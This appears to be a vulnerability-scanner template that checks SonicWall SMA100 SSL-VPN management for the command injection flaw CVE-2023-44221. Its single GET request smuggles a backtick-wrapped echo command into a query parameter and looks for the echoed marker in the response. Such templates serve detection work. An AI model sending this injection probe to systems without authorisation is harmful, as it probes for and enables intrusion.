id: CVE-2023-44221

info:
  name: "SMA100 SSL-VPN management - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Improper neutralization of special elements in the SMA100 SSL-VPN management interface allows a remote
    authenticated attacker with administrative privilege to inject arbitrary commands as a 'nobody' user,
    potentially leading to OS Command Injection Vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-44221&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sonicwall&match=exact
  classification:
    cvss-score: 7.2
    cve-id: CVE-2023-44221
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2023,sonicwall,cmd

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?x=%60echo%20ml93m728erxe%60"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ml93m728erxe"
      - type: status
        status:
          - 200